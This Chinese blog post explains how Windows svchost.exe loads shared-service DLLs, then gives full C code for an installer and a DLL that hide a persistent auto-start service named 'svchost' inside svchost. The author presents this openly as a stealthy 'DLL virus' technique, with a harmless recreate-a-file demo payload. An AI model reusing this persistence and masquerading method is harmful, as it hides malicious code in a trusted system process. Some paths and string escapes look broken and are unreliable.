zoukankan      html  css  js  c++  java
  • Svchost进程和共享服务病毒原理

    1. svchost的由来

    Windows系统服务现在可以分为独立进程和共享进程 

    在windows Nt中, 只有服务管理器SCM(service.exe)有多个共享服务. 随着系统的服务增加,为了增强系统性能于是

    在windows2000开始将很多服务做成共享方式并且由svchost.exe启动

    svchost.exe本身并不实现任何服务功能,但是需要成为服务的dll可以由svchost加载成为服务.这些dll内部需要实现一个名为ServiceMain的函数

    例如, windows中有个特殊的服务名为:RPCss 远程过程调用服务在注册表中如下:

    HKEY_LOCAL_MACHINEsystemcurrentcontrolsetservicesRpcSs, RpcSs是个服务, 它下面有个Parameters子健. 它的ServiceDll的值

    指出了它的dll文件,RpcSs子健的imagedll值指出了svchost.exe

    此外, windows将这些服务通过分组, 每组中的服务由一个svchost进程来负责. 因此会有多个svchost进程出现.

    svchost.exe负责的所有服务组合服务与此键下:

    HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSvchost

    于是在启动一个svchost负责的服务时如果目标服务属于已经启动的服务组的svchost,那么那个svchost进程将加载服务对应的dll,而不会再创建一个svchost进程

    2.svchost 加载服务原理

    (1). 它的入口函数先对命令行进行分析,获取所属的服务组名字根据服务组名在HKEY_LOCAL_MACHINEsystemcurrentcontrolsetservices服务组名

    的子键下的所有服务.

    (2).将服务组中的服务名保存起来后,创建SERVICE_TABLE_ENTRYW 数组, 这些服务名对应的服务入口函数都是svchost实现的一个子函数

    (3).调用StartServiceCtrlDispatcher API注册这些服务的调用函数, 然后svchost主线程等待scm启动服务的命令

    (4).当scm调用svchost的被注册的子函数时,将服务名作为参数传递进去,然后svchost会根据之前保存的服务名组查找该服务名,如果是在其中就根据

    其对应的HKEY_LOCAL_MACHINEsystemcurrentcontrolsetservices服务名 下查找parameters下的键值,并将对应的dll加载到svchost

    进程中.然后将服务名作为参数传递到它的ServiceMain函数中.

    综上,骇客们完全可以写一个dll实现服务的功能让 svchost加载. 实现很隐蔽的dll病毒. 

    接下来用这个方式实现在c盘根目录创建一个文件,且每隔一秒检查是否被删除,如果删除了就重新创建

    3.创建服务代码部分

    #include "stdafx.h"
    #define serviceName "svchost"
    #define WserviceName L"svchost"
    HANDLE g_hModule = 0;
    SERVICE_STATUS_HANDLE hStatus = 0;
    SERVICE_STATUS ss = { 0 };
    DWORD exit=0;
    DWORD Install(WCHAR* modulePath)
    {
        SC_HANDLE hScm = 0;
        SC_HANDLE hSer = 0;
        char groupName[] = "svctest";
        char fullPath[128] = { 0 };
        //WCHAR modulePath[MAX_PATH] = { 0 };
        HKEY hMainKey = HKEY_LOCAL_MACHINE;
        HKEY hSubKey = 0,htemp;
        DWORD result, lpcbMaxValueLen, valueType, valueSize,dtemp;
        BYTE * value;
        result = RegOpenKeyExW(hMainKey, L"software\microsoft\windows nt\currentversion\svchost", 0, KEY_SET_VALUE | KEY_QUERY_VALUE, &hSubKey);
        if (result!=ERROR_SUCCESS)
        {
            return result;
        }
        RegQueryInfoKeyW(hSubKey, 0, 0, 0, 0, 0, 0, 0, 0, &lpcbMaxValueLen, 0, 0);
        value = (BYTE*)malloc(lpcbMaxValueLen+24);
    
        memset(value, 0, lpcbMaxValueLen + 24);
        valueSize = lpcbMaxValueLen + 24;
        result = RegQueryValueExA(hSubKey, groupName, 0, &valueType, value, &valueSize);
    
    
        //找服务组,如果找到则在找是否本服务已加入,没有就加入否则退出, 如果没有找到服务组则创建服务组并向该
        //服务组添加本服务
        if (result==ERROR_SUCCESS) //找到服务组
        {
            memcpy(value + valueSize - 1, serviceName,strlen(serviceName)+1);
            memset(value+valueSize+strlen(serviceName),0,1);
            //RegSetValueExW 如果值名不存在则添加,然后写入数据,注意写入数据的格式REG_MULTI_SZ与长度
            result = RegSetValueExA(hSubKey, groupName, 0, REG_MULTI_SZ, (BYTE*)value, valueSize+strlen(serviceName)+1);
            free(value);
            RegCloseKey(hSubKey);
        }    
        else
        {
            memcpy(value,serviceName,strlen(serviceName)+1);
            memset(value+strlen(serviceName)+1,0,1);
            valueSize=strlen(serviceName)+2;
            //RegSetValueExW 如果值名不存在则添加,然后写入数据,注意写入数据的格式REG_MULTI_SZ与长度
            result = RegSetValueExA(hSubKey, groupName, 0, REG_MULTI_SZ, (BYTE*)value, valueSize);
            free(value);
            RegCloseKey(hSubKey);
        }
    
    
        if (result!=ERROR_SUCCESS)
        {
            return 0;
        }
    
    
        //打开服务管理器
        hScm = OpenSCManagerW(0, 0, SC_MANAGER_ALL_ACCESS);
    
        if (hScm == 0)
        {
            wprintf(L"OpenSCManagerW error code is %d
    ", GetLastError());
            return 0;
        }
        sprintf(fullPath, "c:\windows\system32\svchost.exe -k %s", groupName);
    
        //创建该服务
        hSer = CreateServiceA(hScm, serviceName, serviceName, SERVICE_ALL_ACCESS, SERVICE_WIN32_SHARE_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, fullPath, 0, 0, 0, 0, 0);
        if (hSer == 0)
        {
            wprintf(L"CreateServiceW error code is %d
    ", GetLastError());
            CloseServiceHandle(hScm);
            return 0;
        }
        if (hSer)    CloseServiceHandle(hSer);
        if (hScm)   CloseServiceHandle(hScm);
        sprintf(fullPath, "system\currentcontrolset\services\%s", serviceName);
    
        //服务创建成功,这里就会打开
        result = RegOpenKeyExA(hMainKey, fullPath, 0, KEY_ALL_ACCESS, &hSubKey);
        if (result!=ERROR_SUCCESS)
        {
            return 0;
        }
    
        //添加Parameters键
        result = RegCreateKeyExW(hSubKey, L"Parameters", 0, 0, 0, KEY_ALL_ACCESS, 0, &htemp ,&dtemp);
        if (result != ERROR_SUCCESS)
        {
            RegCloseKey(hSubKey);
            return 0;
        }//给Parameters键添加值名ServiceDll, 数据就是dll路径
        result = RegSetValueExW(htemp, L"ServiceDll", 0, REG_EXPAND_SZ, (PBYTE)modulePath, wcslen(modulePath) * sizeof(WCHAR) + 2);
        RegCloseKey(hSubKey);
        RegCloseKey(htemp);
        return 1;
    }
    void wmain()
    {
        Install(L"%SystemRoot%\System32\svchost.dll");
    }

     4.dll服务程序代码部分:

    // dllmain.cpp : 定义 DLL 应用程序的入口点。
    #define serviceName L"svchost"
    #include <windows.h>
    #include <wchar.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <malloc.h>
    HANDLE g_hModule = 0;
    SERVICE_STATUS_HANDLE hStatus = 0;
    SERVICE_STATUS ss ;
    DWORD aexit;
    
    VOID WINAPI handler(DWORD code);
    
    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
                         )
    {
    
        g_hModule = hModule;
        return TRUE;
    }
    
    
     void WINAPI ServiceMain(int argv, wchar_t * argc[])
    {
        //初始化
        HANDLE file;
        aexit=0;
        ss.dwServiceType = SERVICE_WIN32_SHARE_PROCESS;
        ss.dwCurrentState = SERVICE_STOPPED;
        // 设置服务可以使用的控制
        // 如果希望服务启动后不能停止,去掉SERVICE_ACCEPT_STOP
        // SERVICE_ACCEPT_PAUSE_CONTINUE是服务可以“暂停/继续”
        ss.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN;
        ss.dwWin32ExitCode = 0;
        ss.dwServiceSpecificExitCode = 0;
        ss.dwCheckPoint = 0;
        ss.dwWaitHint = 0;
        hStatus = RegisterServiceCtrlHandlerW(argc[0], handler);
        if (hStatus==0)
        {
            return;
        }
        //设置为启动状态
        ss.dwCurrentState = SERVICE_START_PENDING;
        SetServiceStatus(hStatus, &ss);
        ss.dwCurrentState = SERVICE_RUNNING;
        SetServiceStatus(hStatus, &ss);
    
        //服务运行循环
        while (1)
        {
            Sleep(1000);
            MessageBeep(0);
            if (aexit==1)
            {
                break;
            }
            file = CreateFileA("C:\1.txt", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, CREATE_NEW, 0, 0);
            if (file != 0 && file != INVALID_HANDLE_VALUE)
            {
                CloseHandle(file);
            }
        }
    
        //服务循环退出后将设置退出状态
        ss.dwCurrentState = SERVICE_STOPPED;
        SetServiceStatus(hStatus, &ss);
    }
    VOID WINAPI handler(DWORD code)
    {
        switch (code)
        {
        case SERVICE_CONTROL_STOP:
            ss.dwCurrentState = SERVICE_STOP_PENDING;
            SetServiceStatus(hStatus, &ss);
    
            ss.dwCurrentState = SERVICE_STOPPED;
            SetServiceStatus(hStatus, &ss);
            aexit = 1;
            OutputDebugString(L"[hijack] service is stopped...");
            break;
    
        case SERVICE_CONTROL_PAUSE:
            ss.dwCurrentState = SERVICE_PAUSE_PENDING;
            SetServiceStatus(hStatus, &ss);
    
            ss.dwCurrentState = SERVICE_PAUSED;
            SetServiceStatus(hStatus, &ss);
    
            OutputDebugString(L"[hijack] service is PAUSE...");
            break;
        case SERVICE_CONTROL_CONTINUE:
            ss.dwCurrentState = SERVICE_CONTINUE_PENDING;
            SetServiceStatus(hStatus, &ss);
    
            ss.dwCurrentState = SERVICE_RUNNING;
            SetServiceStatus(hStatus, &ss);
    
            OutputDebugString(L"[hijack] service is CONTINUE...");
            break;
        case SERVICE_CONTROL_SHUTDOWN:
            ss.dwCurrentState = SERVICE_STOP_PENDING;
            SetServiceStatus(hStatus, &ss);
    
            ss.dwCurrentState = SERVICE_STOPPED;
            SetServiceStatus(hStatus, &ss);
            aexit = 1;
            OutputDebugString(L"[hijack] service is stopped...");
            break;
        default:
            break;
        }
    }
  • 相关阅读:
    P3952 [NOIP2017 提高组] 时间复杂度
    1905. 统计子岛屿
    1102 Invert a Binary Tree (25 分)
    P1077 [NOIP2012 普及组] 摆花
    P3915 树的分解
    P1045 [NOIP2003 普及组] 麦森数
    P4961 小埋与扫雷
    P1123 取数游戏
    P1460 [USACO2.1]健康的荷斯坦奶牛 Healthy Holsteins
    CF1059B Forgery
  • 原文地址:https://www.cnblogs.com/freesec/p/6636206.html
Copyright © 2011-2022 走看看